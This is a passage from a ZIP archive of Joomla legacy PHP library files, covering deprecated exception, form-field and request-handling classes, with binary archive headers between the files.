	public function __construct($msg, $code = 0, $level = null, $info = null,
$backtrace = false)
	{
		JLog::add('JException is deprecated.', JLog::WARNING,
'deprecated');

		$this->level = $level;
		$this->code = $code;
		$this->message = $msg;

		if ($info != null)
		{
			$this->info = $info;
		}

		if ($backtrace && function_exists('debug_backtrace'))
		{
			$this->backtrace = debug_backtrace();

			for ($i = count($this->backtrace) - 1; $i >= 0; --$i)
			{
				++$i;

				if (isset($this->backtrace[$i]['file']))
				{
					$this->file = $this->backtrace[$i]['file'];
				}

				if (isset($this->backtrace[$i]['line']))
				{
					$this->line = $this->backtrace[$i]['line'];
				}

				if (isset($this->backtrace[$i]['class']))
				{
					$this->class = $this->backtrace[$i]['class'];
				}

				if (isset($this->backtrace[$i]['function']))
				{
					$this->function = $this->backtrace[$i]['function'];
				}

				if (isset($this->backtrace[$i]['type']))
				{
					$this->type = $this->backtrace[$i]['type'];
				}

				$this->args = false;

				if (isset($this->backtrace[$i]['args']))
				{
					$this->args = $this->backtrace[$i]['args'];
				}

				break;
			}
		}

		// Store exception for debugging purposes!
		JError::addToStack($this);

		parent::__construct($msg, (int) $code);
	}

	/**
	 * Returns to error message
	 *
	 * @return  string  Error message
	 *
	 * @since   1.6
	 * @deprecated  1.7
	 */
	public function __toString()
	{
		JLog::add('JException::__toString is deprecated.',
JLog::WARNING, 'deprecated');

		return $this->message;
	}

	/**
	 * Returns to error message
	 *
	 * @return  string   Error message
	 *
	 * @since   1.5
	 * @deprecated  1.7
	 */
	public function toString()
	{
		JLog::add('JException::toString is deprecated.', JLog::WARNING,
'deprecated');

		return (string) $this;
	}

	/**
	 * Returns a property of the object or the default value if the property
is not set.
	 *
	 * @param   string  $property  The name of the property
	 * @param   mixed   $default   The default value
	 *
	 * @return  mixed  The value of the property or null
	 *
	 * @since   1.6
	 * @deprecated  1.7
	 * @see     JException::getProperties()
	 */
	public function get($property, $default = null)
	{
		JLog::add('JException::get is deprecated.', JLog::WARNING,
'deprecated');

		if (isset($this->$property))
		{
			return $this->$property;
		}

		return $default;
	}

	/**
	 * Returns an associative array of object properties
	 *
	 * @param   boolean  $public  If true, returns only the public properties
	 *
	 * @return  array  Object properties
	 *
	 * @since   1.6
	 * @deprecated  1.7
	 * @see     JException::get()
	 */
	public function getProperties($public = true)
	{
		JLog::add('JException::getProperties is deprecated.',
JLog::WARNING, 'deprecated');

		$vars = get_object_vars($this);

		if ($public)
		{
			foreach ($vars as $key => $value)
			{
				if (strpos($key, '_') === 0)
				{
					unset($vars[$key]);
				}
			}
		}

		return $vars;
	}

	/**
	 * Get the most recent error message
	 *
	 * @param   integer  $i         Option error index
	 * @param   boolean  $toString  Indicates if JError objects should return
their error message
	 *
	 * @return  string  Error message
	 *
	 * @since   1.6
	 * @deprecated  1.7
	 */
	public function getError($i = null, $toString = true)
	{
		JLog::add('JException::getError is deprecated.', JLog::WARNING,
'deprecated');

		// Find the error
		if ($i === null)
		{
			// Default, return the last message
			$error = end($this->_errors);
		}
		elseif (!array_key_exists($i, $this->_errors))
		{
			// If $i has been specified but does not exist, return false
			return false;
		}
		else
		{
			$error = $this->_errors[$i];
		}

		// Check if only the string is requested
		if ($error instanceof Exception && $toString)
		{
			return (string) $error;
		}

		return $error;
	}

	/**
	 * Return all errors, if any
	 *
	 * @return  array  Array of error messages or JErrors
	 *
	 * @since   1.6
	 * @deprecated  1.7
	 */
	public function getErrors()
	{
		JLog::add('JException::getErrors is deprecated.',
JLog::WARNING, 'deprecated');

		return $this->_errors;
	}

	/**
	 * Modifies a property of the object, creating it if it does not already
exist.
	 *
	 * @param   string  $property  The name of the property
	 * @param   mixed   $value     The value of the property to set
	 *
	 * @return  mixed  Previous value of the property
	 *
	 * @since   1.6
	 * @deprecated  1.7
	 * @see     JException::setProperties()
	 */
	public function set($property, $value = null)
	{
		JLog::add('JException::set is deprecated.', JLog::WARNING,
'deprecated');

		$previous = isset($this->$property) ? $this->$property : null;
		$this->$property = $value;

		return $previous;
	}

	/**
	 * Set the object properties based on a named array/hash
	 *
	 * @param   mixed  $properties  Either and associative array or another
object
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 * @deprecated  1.7
	 * @see     JException::set()
	 */
	public function setProperties($properties)
	{
		JLog::add('JException::setProperties is deprecated.',
JLog::WARNING, 'deprecated');

		// Cast to an array
		$properties = (array) $properties;

		if (is_array($properties))
		{
			foreach ($properties as $k => $v)
			{
				$this->$k = $v;
			}

			return true;
		}

		return false;
	}

	/**
	 * Add an error message
	 *
	 * @param   string  $error  Error message
	 *
	 * @return  void
	 *
	 * @since   1.6
	 * @deprecated  1.7
	 */
	public function setError($error)
	{
		JLog::add('JException::setErrors is deprecated.',
JLog::WARNING, 'deprecated');

		$this->_errors[] = $error;
	}
}
PK�}�[C�HHform/field/category.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Form
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

JFormHelper::loadFieldClass('list');

/**
 * Form Field class for the Joomla Platform.
 * Supports an HTML select list of categories
 *
 * @since  1.6
 */
class JFormFieldCategory extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  1.6
	 */
	public $type = 'Category';

	/**
	 * Method to get the field options for category
	 * Use the extension attribute in a form to specify the.specific extension
for
	 * which categories should be displayed.
	 * Use the show_root attribute to specify whether to show the global
category root in the list.
	 *
	 * @return  array    The field option objects.
	 *
	 * @since   1.6
	 */
	protected function getOptions()
	{
		$options = array();
		$extension = $this->element['extension'] ? (string)
$this->element['extension'] : (string)
$this->element['scope'];
		$published = (string) $this->element['published'];
		$language  = (string) $this->element['language'];

		// Load the category options for a given extension.
		if (!empty($extension))
		{
			// Filter over published state or not depending upon if it is present.
			$filters = array();
			if ($published)
			{
				$filters['filter.published'] = explode(',',
$published);
			}

			// Filter over language depending upon if it is present.
			if ($language)
			{
				$filters['filter.language'] = explode(',',
$language);
			}

			if ($filters === array())
			{
				$options = JHtml::_('category.options', $extension);
			}
			else
			{
				$options = JHtml::_('category.options', $extension,
$filters);
			}

			// Verify permissions.  If the action attribute is set, then we scan the
options.
			if ((string) $this->element['action'])
			{
				// Get the current user object.
				$user = JFactory::getUser();

				foreach ($options as $i => $option)
				{
					/*
					 * To take save or create in a category you need to have create rights
for that category
					 * unless the item is already in that category.
					 * Unset the option if the user isn't authorised for it. In this
field assets are always categories.
					 */
					if ($user->authorise('core.create', $extension .
'.category.' . $option->value) === false)
					{
						unset($options[$i]);
					}
				}
			}

			if (isset($this->element['show_root']))
			{
				array_unshift($options, JHtml::_('select.option',
'0', JText::_('JGLOBAL_ROOT')));
			}
		}
		else
		{
			JLog::add(JText::_('JLIB_FORM_ERROR_FIELDS_CATEGORY_ERROR_EXTENSION_EMPTY'),
JLog::WARNING, 'jerror');
		}

		// Merge any additional options in the XML definition.
		$options = array_merge(parent::getOptions(), $options);

		return $options;
	}
}
PK�}�[C[��form/field/componentlayout.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Form
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

jimport('joomla.filesystem.folder');

/**
 * Form Field to display a list of the layouts for a component view from
 * the extension or template overrides.
 *
 * @since  1.6
 */
class JFormFieldComponentlayout extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $type = 'ComponentLayout';

	/**
	 * Method to get the field input for a component layout field.
	 *
	 * @return  string   The field input.
	 *
	 * @since   1.6
	 */
	protected function getInput()
	{
		// Get the client id.
		$clientId = $this->element['client_id'];

		if ($clientId === null && $this->form instanceof JForm)
		{
			$clientId = $this->form->getValue('client_id');
		}

		$clientId = (int) $clientId;

		$client = JApplicationHelper::getClientInfo($clientId);

		// Get the extension.
		$extension = (string) $this->element['extension'];

		if (empty($extension) && ($this->form instanceof JForm))
		{
			$extension = $this->form->getValue('extension');
		}

		$extension = preg_replace('#\W#', '', $extension);

		$template = (string) $this->element['template'];
		$template = preg_replace('#\W#', '', $template);

		$template_style_id = '';
		if ($this->form instanceof JForm)
		{
			$template_style_id =
$this->form->getValue('template_style_id');
			$template_style_id = preg_replace('#\W#', '',
$template_style_id);
		}

		$view = (string) $this->element['view'];
		$view = preg_replace('#\W#', '', $view);

		// If a template, extension and view are present build the options.
		if ($extension && $view && $client)
		{
			// Load language file
			$lang = JFactory::getLanguage();
			$lang->load($extension . '.sys', JPATH_ADMINISTRATOR, null,
false, true)
			|| $lang->load($extension . '.sys', JPATH_ADMINISTRATOR .
'/components/' . $extension, null, false, true);

			// Get the database object and a new query object.
			$db = JFactory::getDbo();
			$query = $db->getQuery(true);

			// Build the query.
			$query->select('e.element, e.name')
				->from('#__extensions as e')
				->where('e.client_id = ' . (int) $clientId)
				->where('e.type = ' . $db->quote('template'))
				->where('e.enabled = 1');

			if ($template)
			{
				$query->where('e.element = ' . $db->quote($template));
			}

			if ($template_style_id)
			{
				$query->join('LEFT', '#__template_styles as s on
s.template=e.element')
					->where('s.id=' . (int) $template_style_id);
			}

			// Set the query and load the templates.
			$db->setQuery($query);
			$templates = $db->loadObjectList('element');

			// Build the search paths for component layouts.
			$component_path = JPath::clean($client->path .
'/components/' . $extension . '/views/' . $view .
'/tmpl');

			// Prepare array of component layouts
			$component_layouts = array();

			// Prepare the grouped list
			$groups = array();

			// Add a Use Global option if useglobal="true" in XML file
			if ((string) $this->element['useglobal'] ===
'true')
			{
				$groups[JText::_('JOPTION_FROM_STANDARD')]['items'][]
= JHtml::_('select.option', '',
JText::_('JGLOBAL_USE_GLOBAL'));
			}

			// Add the layout options from the component path.
			if (is_dir($component_path) && ($component_layouts =
JFolder::files($component_path, '^[^_]*\.xml$', false, true)))
			{
				// Create the group for the component
				$groups['_'] = array();
				$groups['_']['id'] = $this->id . '__';
				$groups['_']['text'] =
JText::sprintf('JOPTION_FROM_COMPONENT');
				$groups['_']['items'] = array();

				foreach ($component_layouts as $i => $file)
				{
					// Attempt to load the XML file.
					if (!$xml = simplexml_load_file($file))
					{
						unset($component_layouts[$i]);

						continue;
					}

					// Get the help data from the XML file if present.
					if (!$menu = $xml->xpath('layout[1]'))
					{
						unset($component_layouts[$i]);

						continue;
					}

					$menu = $menu[0];

					// Add an option to the component group
					$value = basename($file, '.xml');
					$component_layouts[$i] = $value;
					$text = isset($menu['option']) ?
JText::_($menu['option']) : (isset($menu['title']) ?
JText::_($menu['title']) : $value);
					$groups['_']['items'][] =
JHtml::_('select.option', '_:' . $value, $text);
				}
			}

			// Loop on all templates
			if ($templates)
			{
				foreach ($templates as $template)
				{
					// Load language file
					$lang->load('tpl_' . $template->element .
'.sys', $client->path, null, false, true)
						|| $lang->load('tpl_' . $template->element .
'.sys', $client->path . '/templates/' .
$template->element, null, false, true);

					$template_path = JPath::clean(
						$client->path
						. '/templates/'
						. $template->element
						. '/html/'
						. $extension
						. '/'
						. $view
					);

					// Add the layout options from the template path.
					if (is_dir($template_path) && ($files =
JFolder::files($template_path, '^[^_]*\.php$', false, true)))
					{
						foreach ($files as $i => $file)
						{
							// Remove layout files that exist in the component folder
							if (in_array(basename($file, '.php'), $component_layouts))
							{
								unset($files[$i]);
							}
						}

						if (count($files))
						{
							// Create the group for the template
							$groups[$template->name] = array();
							$groups[$template->name]['id'] = $this->id .
'_' . $template->element;
							$groups[$template->name]['text'] =
JText::sprintf('JOPTION_FROM_TEMPLATE', $template->name);
							$groups[$template->name]['items'] = array();

							foreach ($files as $file)
							{
								// Add an option to the template group
								$value = basename($file, '.php');
								$text = $lang
									->hasKey(
										$key = strtoupper(
											'TPL_'
											. $template->name
											. '_'
											. $extension
											. '_'
											. $view
											. '_LAYOUT_'
											. $value
										)
									)
									? JText::_($key) : $value;
								$groups[$template->name]['items'][] =
JHtml::_('select.option', $template->element . ':' .
$value, $text);
							}
						}
					}
				}
			}

			// Compute attributes for the grouped list
			$attr = $this->element['size'] ? ' size="' .
(int) $this->element['size'] . '"' :
'';
			$attr .= $this->element['class'] ? '
class="' . (string) $this->element['class'] .
'"' : '';

			// Prepare HTML code
			$html = array();

			// Compute the current selected values
			$selected = array($this->value);

			// Add a grouped list
			$html[] = JHtml::_(
				'select.groupedlist', $groups, $this->name,
				array('id' => $this->id, 'group.id' =>
'id', 'list.attr' => $attr, 'list.select'
=> $selected)
			);

			return implode($html);
		}
		else
		{
			return '';
		}
	}
}
PK�}�[�c����form/field/modulelayout.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Form
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

jimport('joomla.filesystem.folder');

/**
 * Form Field to display a list of the layouts for module display from the
module or template overrides.
 *
 * @since  1.6
 */
class JFormFieldModulelayout extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $type = 'ModuleLayout';

	/**
	 * Method to get the field input for module layouts.
	 *
	 * @return  string  The field input.
	 *
	 * @since   1.6
	 */
	protected function getInput()
	{
		// Get the client id.
		$clientId = $this->element['client_id'];

		if ($clientId === null && $this->form instanceof JForm)
		{
			$clientId = $this->form->getValue('client_id');
		}

		$clientId = (int) $clientId;

		$client = JApplicationHelper::getClientInfo($clientId);

		// Get the module.
		$module = (string) $this->element['module'];

		if (empty($module) && ($this->form instanceof JForm))
		{
			$module = $this->form->getValue('module');
		}

		$module = preg_replace('#\W#', '', $module);

		// Get the template.
		$template = (string) $this->element['template'];
		$template = preg_replace('#\W#', '', $template);

		// Get the style.
		$template_style_id = '';
		if ($this->form instanceof JForm)
		{
			$template_style_id =
$this->form->getValue('template_style_id');
			$template_style_id = preg_replace('#\W#', '',
$template_style_id);
		}

		// If an extension and view are present build the options.
		if ($module && $client)
		{
			// Load language file
			$lang = JFactory::getLanguage();
			$lang->load($module . '.sys', $client->path, null,
false, true)
				|| $lang->load($module . '.sys', $client->path .
'/modules/' . $module, null, false, true);

			// Get the database object and a new query object.
			$db = JFactory::getDbo();
			$query = $db->getQuery(true);

			// Build the query.
			$query->select('element, name')
				->from('#__extensions as e')
				->where('e.client_id = ' . (int) $clientId)
				->where('e.type = ' . $db->quote('template'))
				->where('e.enabled = 1');

			if ($template)
			{
				$query->where('e.element = ' . $db->quote($template));
			}

			if ($template_style_id)
			{
				$query->join('LEFT', '#__template_styles as s on
s.template=e.element')
					->where('s.id=' . (int) $template_style_id);
			}

			// Set the query and load the templates.
			$db->setQuery($query);
			$templates = $db->loadObjectList('element');

			// Build the search paths for module layouts.
			$module_path = JPath::clean($client->path . '/modules/' .
$module . '/tmpl');

			// Prepare array of component layouts
			$module_layouts = array();

			// Prepare the grouped list
			$groups = array();

			// Add the layout options from the module path.
			if (is_dir($module_path) && ($module_layouts =
JFolder::files($module_path, '^[^_]*\.php$')))
			{
				// Create the group for the module
				$groups['_'] = array();
				$groups['_']['id'] = $this->id . '__';
				$groups['_']['text'] =
JText::sprintf('JOPTION_FROM_MODULE');
				$groups['_']['items'] = array();

				foreach ($module_layouts as $file)
				{
					// Add an option to the module group
					$value = basename($file, '.php');
					$text = $lang->hasKey($key = strtoupper($module .
'_LAYOUT_' . $value)) ? JText::_($key) : $value;
					$groups['_']['items'][] =
JHtml::_('select.option', '_:' . $value, $text);
				}
			}

			// Loop on all templates
			if ($templates)
			{
				foreach ($templates as $template)
				{
					// Load language file
					$lang->load('tpl_' . $template->element .
'.sys', $client->path, null, false, true)
						|| $lang->load('tpl_' . $template->element .
'.sys', $client->path . '/templates/' .
$template->element, null, false, true);

					$template_path = JPath::clean($client->path .
'/templates/' . $template->element . '/html/' .
$module);

					// Add the layout options from the template path.
					if (is_dir($template_path) && ($files =
JFolder::files($template_path, '^[^_]*\.php$')))
					{
						foreach ($files as $i => $file)
						{
							// Remove layout that already exist in component ones
							if (in_array($file, $module_layouts))
							{
								unset($files[$i]);
							}
						}

						if (count($files))
						{
							// Create the group for the template
							$groups[$template->element] = array();
							$groups[$template->element]['id'] = $this->id .
'_' . $template->element;
							$groups[$template->element]['text'] =
JText::sprintf('JOPTION_FROM_TEMPLATE', $template->name);
							$groups[$template->element]['items'] = array();

							foreach ($files as $file)
							{
								// Add an option to the template group
								$value = basename($file, '.php');
								$text = $lang->hasKey($key = strtoupper('TPL_' .
$template->element . '_' . $module . '_LAYOUT_' .
$value))
									? JText::_($key) : $value;
								$groups[$template->element]['items'][] =
JHtml::_('select.option', $template->element . ':' .
$value, $text);
							}
						}
					}
				}
			}
			// Compute attributes for the grouped list
			$attr = $this->element['size'] ? ' size="' .
(int) $this->element['size'] . '"' :
'';
			$attr .= $this->element['class'] ? '
class="' . (string) $this->element['class'] .
'"' : '';

			// Prepare HTML code
			$html = array();

			// Compute the current selected values
			$selected = array($this->value);

			// Add a grouped list
			$html[] = JHtml::_(
				'select.groupedlist', $groups, $this->name,
				array('id' => $this->id, 'group.id' =>
'id', 'list.attr' => $attr, 'list.select'
=> $selected)
			);

			return implode($html);
		}
		else
		{
			return '';
		}
	}
}
PK�}�[�ŒJ..log/logexception.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Log
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

JLog::add('LogException is deprecated, use SPL Exceptions
instead.', JLog::WARNING, 'deprecated');

/**
 * Exception class definition for the Log subpackage.
 *
 * @since       1.7
 * @deprecated  2.5.5 Use semantic exceptions instead
 */
class LogException extends RuntimeException
{
}
PK�}�[˸2��9�9request/request.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Request
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

/**
 * Create the request global object
 */
$GLOBALS['_JREQUEST'] = array();

/**
 * Set the available masks for cleaning variables
 */
const JREQUEST_NOTRIM    = 1;
const JREQUEST_ALLOWRAW  = 2;
const JREQUEST_ALLOWHTML = 4;

JLog::add('JRequest is deprecated.', JLog::WARNING,
'deprecated');

/**
 * JRequest Class
 *
 * This class serves to provide the Joomla Platform with a common interface
to access
 * request variables.  This includes $_POST, $_GET, and naturally
$_REQUEST.  Variables
 * can be passed through an input filter to avoid injection or returned
raw.
 *
 * @since       1.5
 * @deprecated  1.7 Get the JInput object from the application instead
 */
class JRequest
{
	/**
	 * Gets the full request path.
	 *
	 * @return  string
	 *
	 * @since   1.5
	 * @deprecated  1.7
	 */
	public static function getUri()
	{
		$uri = JUri::getInstance();

		return $uri->toString(array('path', 'query'));
	}

	/**
	 * Gets the request method.
	 *
	 * @return  string
	 *
	 * @since   1.5
	 * @deprecated  1.7 Use JInput::getMethod() instead
	 */
	public static function getMethod()
	{
		return strtoupper($_SERVER['REQUEST_METHOD']);
	}

	/**
	 * Fetches and returns a given variable.
	 *
	 * The default behaviour is fetching variables depending on the
	 * current request method: GET and HEAD will result in returning
	 * an entry from $_GET, POST and PUT will result in returning an
	 * entry from $_POST.
	 *
	 * You can force the source by setting the $hash parameter:
	 *
	 * post    $_POST
	 * get     $_GET
	 * files   $_FILES
	 * cookie  $_COOKIE
	 * env     $_ENV
	 * server  $_SERVER
	 * method  via current $_SERVER['REQUEST_METHOD']
	 * default $_REQUEST
	 *
	 * @param   string   $name     Variable name.
	 * @param   mixed    $default  Default value if the variable does not
exist.
	 * @param   string   $hash     Where the var should come from (POST, GET,
FILES, COOKIE, METHOD).
	 * @param   string   $type     Return type for the variable, for valid
values see {@link JFilterInput::clean()}.
	 * @param   integer  $mask     Filter mask for the variable.
	 *
	 * @return  mixed  Requested variable.
	 *
	 * @since   1.5
	 * @deprecated  1.7  Use JInput::get()
	 */
	public static function getVar($name, $default = null, $hash =
'default', $type = 'none', $mask = 0)
	{
		// Ensure hash and type are uppercase
		$hash = strtoupper($hash);

		if ($hash === 'METHOD')
		{
			$hash = strtoupper($_SERVER['REQUEST_METHOD']);
		}

		$type = strtoupper($type);
		$sig = $hash . $type . $mask;

		// Get the input hash
		switch ($hash)
		{
			case 'GET':
				$input = &$_GET;
				break;
			case 'POST':
				$input = &$_POST;
				break;
			case 'FILES':
				$input = &$_FILES;
				break;
			case 'COOKIE':
				$input = &$_COOKIE;
				break;
			case 'ENV':
				$input = &$_ENV;
				break;
			case 'SERVER':
				$input = &$_SERVER;
				break;
			default:
				$input = &$_REQUEST;
				$hash = 'REQUEST';
				break;
		}

		if (isset($GLOBALS['_JREQUEST'][$name]['SET.' .
$hash]) && ($GLOBALS['_JREQUEST'][$name]['SET.'
. $hash] === true))
		{
			// Get the variable from the input hash
			$var = (isset($input[$name]) && $input[$name] !== null) ?
$input[$name] : $default;
			$var = self::_cleanVar($var, $mask, $type);
		}
		elseif (!isset($GLOBALS['_JREQUEST'][$name][$sig]))
		{
			if (isset($input[$name]))
			{
				// Get the variable from the input hash and clean it
				$var = self::_cleanVar($input[$name], $mask, $type);

				$GLOBALS['_JREQUEST'][$name][$sig] = $var;
			}
			elseif ($default !== null)
			{
				// Clean the default value
				$var = self::_cleanVar($default, $mask, $type);
			}
			else
			{
				$var = $default;
			}
		}
		else
		{
			$var = $GLOBALS['_JREQUEST'][$name][$sig];
		}

		return $var;
	}

	/**
	 * Fetches and returns a given filtered variable. The integer
	 * filter will allow only digits and the - sign to be returned. This is
currently
	 * only a proxy function for getVar().
	 *
	 * See getVar() for more in-depth documentation on the parameters.
	 *
	 * @param   string   $name     Variable name.
	 * @param   integer  $default  Default value if the variable does not
exist.
	 * @param   string   $hash     Where the var should come from (POST, GET,
FILES, COOKIE, METHOD).
	 *
	 * @return  integer  Requested variable.
	 *
	 * @since   1.5
	 * @deprecated  1.7
	 */
	public static function getInt($name, $default = 0, $hash =
'default')
	{
		return self::getVar($name, $default, $hash, 'int');
	}

	/**
	 * Fetches and returns a given filtered variable. The unsigned integer
	 * filter will allow only digits to be returned. This is currently
	 * only a proxy function for getVar().
	 *
	 * See getVar() for more in-depth documentation on the parameters.
	 *
	 * @param   string   $name     Variable name.
	 * @param   integer  $default  Default value if the variable does not
exist.
	 * @param   string   $hash     Where the var should come from (POST, GET,
FILES, COOKIE, METHOD).
	 *
	 * @return  integer  Requested variable.
	 *
	 * @since   1.7
	 * @deprecated  1.7
	 */
	public static function getUInt($name, $default = 0, $hash =
'default')
	{
		return self::getVar($name, $default, $hash, 'uint');
	}

	/**
	 * Fetches and returns a given filtered variable.  The float
	 * filter only allows digits and periods.  This is currently
	 * only a proxy function for getVar().
	 *
	 * See getVar() for more in-depth documentation on the parameters.
	 *
	 * @param   string  $name     Variable name.
	 * @param   float   $default  Default value if the variable does not
exist.
	 * @param   string  $hash     Where the var should come from (POST, GET,
FILES, COOKIE, METHOD).
	 *
	 * @return  float  Requested variable.
	 *
	 * @since   1.5
	 * @deprecated  1.7
	 */
	public static function getFloat($name, $default = 0.0, $hash =
'default')
	{
		return self::getVar($name, $default, $hash, 'float');
	}

	/**
	 * Fetches and returns a given filtered variable. The bool
	 * filter will only return true/false bool values. This is
	 * currently only a proxy function for getVar().
	 *
	 * See getVar() for more in-depth documentation on the parameters.
	 *
	 * @param   string   $name     Variable name.
	 * @param   boolean  $default  Default value if the variable does not
exist.
	 * @param   string   $hash     Where the var should come from (POST, GET,
FILES, COOKIE, METHOD).
	 *
	 * @return  boolean  Requested variable.
	 *
	 * @since   1.5
	 * @deprecated  1.7
	 */
	public static function getBool($name, $default = false, $hash =
'default')
	{
		return self::getVar($name, $default, $hash, 'bool');
	}

	/**
	 * Fetches and returns a given filtered variable. The word
	 * filter only allows the characters [A-Za-z_]. This is currently
	 * only a proxy function for getVar().
	 *
	 * See getVar() for more in-depth documentation on the parameters.
	 *
	 * @param   string  $name     Variable name.
	 * @param   string  $default  Default value if the variable does not
exist.
	 * @param   string  $hash     Where the var should come from (POST, GET,
FILES, COOKIE, METHOD).
	 *
	 * @return  string  Requested variable.
	 *
	 * @since   1.5
	 * @deprecated  1.7
	 */
	public static function getWord($name, $default = '', $hash =
'default')
	{
		return self::getVar($name, $default, $hash, 'word');
	}

	/**
	 * Cmd (Word and Integer) filter
	 *
	 * Fetches and returns a given filtered variable. The cmd
	 * filter only allows the characters [A-Za-z0-9.-_]. This is
	 * currently only a proxy function for getVar().
	 *
	 * See getVar() for more in-depth documentation on the parameters.
	 *
	 * @param   string  $name     Variable name
	 * @param   string  $default  Default value if the variable does not exist
	 * @param   string  $hash     Where the var should come from (POST, GET,
FILES, COOKIE, METHOD)
	 *
	 * @return  string  Requested variable
	 *
	 * @since   1.5
	 * @deprecated  1.7
	 */
	public static function getCmd($name, $default = '', $hash =
'default')
	{
		return self::getVar($name, $default, $hash, 'cmd');
	}

	/**
	 * Fetches and returns a given filtered variable. The string
	 * filter deletes 'bad' HTML code, if not overridden by the
mask.
	 * This is currently only a proxy function for getVar().
	 *
	 * See getVar() for more in-depth documentation on the parameters.
	 *
	 * @param   string   $name     Variable name
	 * @param   string   $default  Default value if the variable does not
exist
	 * @param   string   $hash     Where the var should come from (POST, GET,
FILES, COOKIE, METHOD)
	 * @param   integer  $mask     Filter mask for the variable
	 *
	 * @return  string   Requested variable
	 *
	 * @since   1.5
	 * @deprecated  1.7
	 */
	public static function getString($name, $default = '', $hash =
'default', $mask = 0)
	{
		// Cast to string, in case JREQUEST_ALLOWRAW was specified for mask
		return (string) self::getVar($name, $default, $hash, 'string',
$mask);
	}

	/**
	 * Set a variable in one of the request variables.
	 *
	 * @param   string   $name       Name
	 * @param   string   $value      Value
	 * @param   string   $hash       Hash
	 * @param   boolean  $overwrite  Boolean
	 *
	 * @return  string   Previous value
	 *
	 * @since   1.5
	 * @deprecated  1.7
	 */
	public static function setVar($name, $value = null, $hash =
'method', $overwrite = true)
	{
		// If overwrite is true, makes sure the variable hasn't been set yet
		if (!$overwrite && array_key_exists($name, $_REQUEST))
		{
			return $_REQUEST[$name];
		}

		// Clean global request var
		$GLOBALS['_JREQUEST'][$name] = array();

		// Get the request hash value
		$hash = strtoupper($hash);

		if ($hash === 'METHOD')
		{
			$hash = strtoupper($_SERVER['REQUEST_METHOD']);
		}

		$previous = array_key_exists($name, $_REQUEST) ? $_REQUEST[$name] : null;

		switch ($hash)
		{
			case 'GET':
				$_GET[$name] = $value;
				$_REQUEST[$name] = $value;
				break;
			case 'POST':
				$_POST[$name] = $value;
				$_REQUEST[$name] = $value;
				break;
			case 'COOKIE':
				$_COOKIE[$name] = $value;
				$_REQUEST[$name] = $value;
				break;
			case 'FILES':
				$_FILES[$name] = $value;
				break;
			case 'ENV':
				$_ENV[$name] = $value;
				break;
			case 'SERVER':
				$_SERVER[$name] = $value;
				break;
		}

		// Mark this variable as 'SET'
		$GLOBALS['_JREQUEST'][$name]['SET.' . $hash] = true;
		$GLOBALS['_JREQUEST'][$name]['SET.REQUEST'] = true;

		return $previous;
	}

	/**
	 * Fetches and returns a request array.
	 *
	 * The default behaviour is fetching variables depending on the
	 * current request method: GET and HEAD will result in returning
	 * $_GET, POST and PUT will result in returning $_POST.
	 *
	 * You can force the source by setting the $hash parameter:
	 *
	 * post     $_POST
	 * get      $_GET
	 * files    $_FILES
	 * cookie   $_COOKIE
	 * env      $_ENV
	 * server   $_SERVER
	 * method   via current $_SERVER['REQUEST_METHOD']
	 * default  $_REQUEST
	 *
	 * @param   string   $hash  to get (POST, GET, FILES, METHOD).
	 * @param   integer  $mask  Filter mask for the variable.
	 *
	 * @return  mixed    Request hash.
	 *
	 * @since   1.5
	 * @deprecated  1.7  Use JInput::get()
	 * @see     JInput
	 */
	public static function get($hash = 'default', $mask = 0)
	{
		$hash = strtoupper($hash);

		if ($hash === 'METHOD')
		{
			$hash = strtoupper($_SERVER['REQUEST_METHOD']);
		}

		switch ($hash)
		{
			case 'GET':
				$input = $_GET;
				break;

			case 'POST':
				$input = $_POST;
				break;

			case 'FILES':
				$input = $_FILES;
				break;

			case 'COOKIE':
				$input = $_COOKIE;
				break;

			case 'ENV':
				$input = &$_ENV;
				break;

			case 'SERVER':
				$input = &$_SERVER;
				break;

			default:
				$input = $_REQUEST;
				break;
		}

		return self::_cleanVar($input, $mask);
	}

	/**
	 * Sets a request variable.
	 *
	 * @param   array    $array      An associative array of key-value pairs.
	 * @param   string   $hash       The request variable to set (POST, GET,
FILES, METHOD).
	 * @param   boolean  $overwrite  If true and an existing key is found, the
value is overwritten, otherwise it is ignored.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  1.7  Use JInput::set()
	 */
	public static function set($array, $hash = 'default', $overwrite
= true)
	{
		foreach ($array as $key => $value)
		{
			self::setVar($key, $value, $hash, $overwrite);
		}
	}

	/**
	 * Checks for a form token in the request.
	 *
	 * Use in conjunction with JHtml::_('form.token').
	 *
	 * @param   string  $method  The request method in which to look for the
token key.
	 *
	 * @return  boolean  True if found and valid, false otherwise.
	 *
	 * @since   1.5
	 * @deprecated  1.7 Use JSession::checkToken() instead. Note that
'default' has to become 'request'.
	 */
	public static function checkToken($method = 'post')
	{
		if ($method === 'default')
		{
			$method = 'request';
		}

		return JSession::checkToken($method);
	}

	/**
	 * Clean up an input variable.
	 *
	 * @param   mixed    $var   The input variable.
	 * @param   integer  $mask  Filter bit mask.
	 *                           1 = no trim: If this flag is cleared and the
input is a string, the string will have leading and trailing
